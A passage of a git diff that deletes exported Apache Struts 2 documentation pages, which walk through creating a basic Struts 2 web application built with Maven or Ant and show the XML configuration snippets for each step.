diff --git a/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.html b/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.html
deleted file mode 100644
index 3627f9f..0000000
--- a/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.html
+++ /dev/null
@@ -1,237 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Create Struts 2 Web Application Using Maven To Manage Artifacts and To Build The Application</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.html">Create Struts 2 Web Application Using Maven To Manage Artifacts and To Build The Appli [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Create Struts 2 Web Application Using Maven To Manage Artifacts and To Build The Application</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811868">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811868">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811868">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>You can checkout this complete example project (and all the other Getting Started tutorial example projects) from the Struts 2 GitHub repository at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a>. The example projects use Maven&#160;to manage the artifact dependencies and to build the .war files.</p><div class="confluence-information-macro conflue [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">	&lt;build&gt;
-		&lt;finalName&gt;basic_struts&lt;/finalName&gt;
-	&lt;/build&gt;
-</pre>
-</div></div><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-Step2-Addindex.jsp">Step 2 - Add index.jsp</h3><p>Our next step is to add a simple index.jsp to this web application. Create an index.jsp under src/main/webapp with a title of "Basic Struts 2 Application - Welcome" and in the body add an h1 heading of "Welcome to Struts 2!"</p><p>Run mvn clean package to create the war file. Copy the war file into your Servlet container so that it will depl [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-	&lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-	&lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-	&lt;version&gt;X.X.X.X&lt;/version&gt;
-&lt;/dependency&gt;
-
-</pre>
-</div></div><p>Of course replace the X.X.X.X with the current Struts 2 version. Maven will get the struts2-core jar and the other jar files struts2-core requires (transitive dependencies). (NOTE: Beginning with Struts version 2.2.3 you do not need to specify a separate dependency node for javassist.)</p><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-Step4-AddLogging">Step 4 - Add Logging</h3><p>To see what's happening under the hood, the example ap [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-	&lt;groupId&gt;log4j&lt;/groupId&gt;
-	&lt;artifactId&gt;log4j&lt;/artifactId&gt;
-	&lt;version&gt;1.2.14&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>Setup a log4j.xml configuration in the src/main/resources folder. You can copy the one from the example application, which contains the following</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>log4j.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE log4j:configuration PUBLIC "-//log4j/log4j Configuration//EN" "log4j.dtd"&gt;
-
-&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
-    
-    &lt;appender name="STDOUT" class="org.apache.log4j.ConsoleAppender"&gt;
-       &lt;layout class="org.apache.log4j.PatternLayout"&gt; 
-          &lt;param name="ConversionPattern" value="%d %-5p %c.%M:%L - %m%n"/&gt; 
-       &lt;/layout&gt; 
-    &lt;/appender&gt;
- 
-    &lt;!-- specify the logging level for loggers from other libraries --&gt;
-    &lt;logger name="com.opensymphony"&gt;
-    	&lt;level value="DEBUG" /&gt;
-    &lt;/logger&gt;
-
-    &lt;logger name="org.apache.struts2"&gt;
-    	 &lt;level value="DEBUG" /&gt;
-    &lt;/logger&gt;
-  
-   &lt;!-- for all other loggers log only info and above log messages --&gt;
-     &lt;root&gt;
-        &lt;priority value="INFO"/&gt; 
-        &lt;appender-ref ref="STDOUT" /&gt; 
-     &lt;/root&gt; 
-    
-&lt;/log4j:configuration&gt; 
-</pre>
-</div></div><p>Note the above log4j configuration specifies the console as the log target.</p><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-Step5-AddStruts2ServletFilter">Step 5 - Add Struts 2 Servlet Filter</h3><p>To enable the Struts 2 framework to work with your web application you need to add a Servlet filter class and filter mapping to web.xml. Below is the filter and filter-mapping nodes you should add to web.xml.</p><div class="code panel p [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;filter&gt;
-  &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-  &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter-mapping&gt;
-  &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-   &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-</pre>
-</div></div><p>For more information about configuring the deployment descriptor for Struts 2 see <a shape="rect" href="webxml.html">web.xml</a>. Note the url-pattern node value is /* meaning the Struts 2 filter will be applied to all URLs for this web application.</p><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-Step6-Createstruts.xml">Step 6 - Create struts.xml</h3><p>Struts 2 can use either an XML configuration file or annotations (or both) to s [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-
-	&lt;constant name="struts.devMode" value="true" /&gt;
-
-	&lt;package name="basicstruts2" extends="struts-default"&gt;
-
-		&lt;action name="index"&gt;
-			&lt;result&gt;/index.jsp&lt;/result&gt;
-		&lt;/action&gt;
-
-	&lt;/package&gt;
-
-&lt;/struts&gt;
-</pre>
-</div></div><p>This minimal Struts 2 configuration file tells the framework that if the URL ends in index.action to redirect the browser to index.jsp.</p><p>For more information about the struts.xml configuration file see <a shape="rect" href="strutsxml.html">struts.xml</a>.</p><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-Step7-BuildandRuntheApplication">Step 7 - Build and Run the Application</h3><p>With all of the above in place run mvn clean pa [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">com.opensymphony.xwork2.DefaultActionProxy.debug:57 - Creating an DefaultActionProxy for namespace / and action name index
-...
-org.apache.struts2.dispatcher.ServletDispatcherResult.debug:57 - Forwarding to location /index.jsp
-</pre>
-</div></div><p>Note that the xwork2 artifact is one of the Jar files that is a transitive dependency for the struts2-core Jar file. The xwork2 library is used heavily by the Struts 2 framework.</p><h3 id="CreateStruts2WebApplicationUsingMavenToManageArtifactsandToBuildTheApplication-GettingHelp">Getting Help</h3><p>The <a shape="rect" class="external-link" href="http://struts.apache.org/mail.html">Struts 2 user mailing list</a> is an excellent place to get help. If you are having a probl [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Strut2_Ant_Structure.png b/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Strut2_Ant_Structure.png
deleted file mode 100644
index 096c54e..0000000
Binary files a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Strut2_Ant_Structure.png and /dev/null differ
diff --git a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Struts2_Welcome.png b/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Struts2_Welcome.png
deleted file mode 100644
index a31fd34..0000000
Binary files a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Struts2_Welcome.png and /dev/null differ
diff --git a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html b/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html
deleted file mode 100644
index 58e1a5c..0000000
--- a/content/docs/create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html
+++ /dev/null
@@ -1,312 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Build The Application</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Build The Application</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811863">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811863">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811863">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811863">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811863">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811863">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>You can download this complete example, Basic_Struts2_Ant, from Google Code - <a shape="rect" class="external-link" href="http://code.google.com/p/struts2-examples/downloads/list" rel="nofollow">http://code.google.com/p/struts2-examples/downloads/list</a>.  Click on the link for Basic_Struts2_Ant.zip and save the file to your computer.  Unzip the file and you should have a folder named Basic_Struts2_Ant.  In that folder is a README.txt file with [...]
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This tutorial assumes you already know how to create a Java web application, use Ant to build the web application archive (war) file, and deploy the war file to a Servlet container such as Tomcat or Jetty.</p></div></div>
-
-<p>To create a Struts 2 web application with the Struts 2 artifacts added to the the application's class path manually you will need to download the Struts 2 distribution from the <a shape="rect" class="external-link" href="http://struts.apache.org/downloads.html">Apache Struts website</a>.</p>
-
-<p>On the Struts 2 download page, click on the link for the current General Availability release.  In that release's section you'll find several links.  To get started with a basic Struts 2 web application you need to only download the Essential Dependencies Only zip file, which is approximately 12mb.</p>
-
-<p>After downloading this zip file, unzip it.  You should have a folder named the same as the current general availability release and in that folder will be a lib folder.  The lib folder contains the Struts 2 jar files (e.g. struts2-core-X.X.X.X.jar, where X.X.X.X is the version) and other jar files Struts 2 requires (e.g. xwork-core.X.X.X.jar).</p>
-
-<p>As we create our basic Struts 2 web application we will copy from the Struts 2 distribution lib folder just the jar files our application requires.  As we add features to our application in future tutorials we will copy other jar files.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step1-CreateABasicJavaWebApplication">Step 1 - Create A Basic Java Web Application</h3>
-<p>In your Java IDE create a web application project named Basic_Struts2_Ant. To follow along with this tutorial your web application should have the following folder structure:</p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Strut2_Ant_Structure.png"></span> </p>
-
-<p>Remember Struts 2 requires Servlet API 2.4 or higher, JSP 2.0 or higher, and Java 5 or higher.  The example project, Basic_Struts2_Ant, which you can download from Google code <a shape="rect" class="external-link" href="http://code.google.com/p/struts2-examples/downloads/list" rel="nofollow">http://code.google.com/p/struts2-examples/downloads/list</a> was created using Eclipse 3.5 with Java 6.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step2-Addindex.jspandAntBuildFile">Step 2 - Add index.jsp and Ant Build File</h3>
-<p>Our next step is to add a simple index.jsp to this web application.  Create an index.jsp under WebContent with a title of "Basic Struts 2 Application - Welcome" and in the body add an h1 heading of "Welcome to Struts 2!"</p>
-
-<p>Next create an Ant build.xml file that will compile any Java classes and create the war file.  The code example download, Basic_Struts2_Ant, includes an Ant build.xml.</p>
-
-<p>Run the Ant target that creates the war file (in the example downloaded that is the archive target, which places the war file in the dist folder).  Copy the war file into your Servlet container so that it will deploy the war file.  </p>
-
-<p>Start up your Servlet container and in a web browser go to <a shape="rect" class="external-link" href="http://localhost:8080/Basic_Struts2_Ant/index.jsp" rel="nofollow">http://localhost:8080/Basic_Struts2_Ant/index.jsp</a>.  You should see the following:</p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.data/Basic_Struts2_Welcome.png"></span></p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step3-AddStruts2JarFilesToClassPath">Step 3 - Add Struts 2 Jar Files To Class Path</h3>
-<p>Now that we know we have a working Java web application, lets add the minimal required Struts 2 framework Jar files to our web application's class path. We'll copy these Jar files from the lib folder of the Struts 2 download to the WEB-INF/lib folder in our web application.</p>
-
-<p>Find and copy to WEB-INF\lib these files (note X.X.X.X.jar refers to the version number):</p>
-
-<ol><li>asm-x.x.jar</li><li>asm-commons-x.x.jar</li><li>asm-tree-x.x.jar</li><li>commons-io-X.X.X.jar</li><li>commons-lang3-X.X.X.jar</li><li>commons-fileupload-X.X.X.jar</li><li>freemarker-X.X.X.jar</li><li>javassist-X.X.X.jar</li><li>ognl-X.X.X.jar</li><li>struts2-core-X.X.X.X.jar</li><li>xwork-core-X.X.X.jar</li></ol>
-
-
-
-<p>You can see from the above that the Struts 2 core jar depends on several other artifacts.  As we add additional Struts 2 features in future tutorials, we'll  need to add additional Struts 2 jar files and other transitive dependencies.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step4-AddLogging">Step 4 - Add Logging</h3>
-<p>To see what's happening under the hood, the example application for this tutorial uses log4j.  You'll need to download the log4j jar file and copy it to WEB-INF/lib.  The example application uses log4j-1.2.14.jar <a shape="rect" class="external-link" href="http://archive.apache.org/dist/logging/log4j/1.2.14/">http://archive.apache.org/dist/logging/log4j/1.2.14/</a>.</p>
-
-<p>Setup a log4j.xml configuration in the src folder.  You can copy the one from the example application, which contains the following</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>log4j.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE log4j:configuration PUBLIC "-//log4j/log4j Configuration//EN" "log4j.dtd"&gt;
-
-&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
-    
-    &lt;appender name="STDOUT" class="org.apache.log4j.ConsoleAppender"&gt;
-       &lt;layout class="org.apache.log4j.PatternLayout"&gt; 
-          &lt;param name="ConversionPattern" value="%d %-5p %c.%M:%L - %m%n"/&gt; 
-       &lt;/layout&gt; 
-    &lt;/appender&gt;
- 
-    &lt;!-- specify the logging level for loggers from other libraries --&gt;
-    &lt;logger name="com.opensymphony"&gt;
-    	&lt;level value="DEBUG" /&gt;
-    &lt;/logger&gt;
-
-    &lt;logger name="org.apache.struts2"&gt;
-    	 &lt;level value="DEBUG" /&gt;
-    &lt;/logger&gt;
-  
-   &lt;!-- for all other loggers log only debug and above log messages --&gt;
-     &lt;root&gt;
-        &lt;priority value="INFO"/&gt; 
-        &lt;appender-ref ref="STDOUT" /&gt; 
-     &lt;/root&gt; 
-    
-&lt;/log4j:configuration&gt; 
-</pre>
-</div></div>
-<p>Note the above log4j configuration specifies the console as the log target.  </p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step5-AddStruts2ServletFilter">Step 5 - Add Struts 2 Servlet Filter</h3>
-<p>To enable the Struts 2 framework to work with your web application you need to add a Servlet filter class and filter mapping to web.xml.  Below is the filter and filter-mapping nodes you should add to web.xml.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml Servlet Filter</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;filter&gt;
-  &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-  &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;
-
-&lt;filter-mapping&gt;
-  &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-   &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-&lt;/filter-mapping&gt;
-</pre>
-</div></div>
-<p>For more information about configuring the deployment descriptor for Struts 2 see <a shape="rect" href="webxml.html">web.xml</a>.  Note the url-pattern node value is /* meaning the Struts 2 filter will be  applied to all URLs for this web application.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step6-Createstruts.xml">Step 6 - Create struts.xml</h3>
-<p>Struts 2 can use either an XML configuration file or annotations (or both) to specify the relationship between a URL, a Java class, and a view page (such as index.jsp). For our basic Struts 2 application, we'll use a minimal xml configuration.  Note the file name is struts.xml and it should be in the src folder (struts.xml must be on the web application's root class path).</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-
-	&lt;constant name="struts.devMode" value="true" /&gt;
-
-	&lt;package name="basicstruts2" extends="struts-default"&gt;
-
-		&lt;action name="index"&gt;
-			&lt;result&gt;/index.jsp&lt;/result&gt;
-		&lt;/action&gt;
-
-	&lt;/package&gt;
-
-&lt;/struts&gt;
-</pre>
-</div></div> 
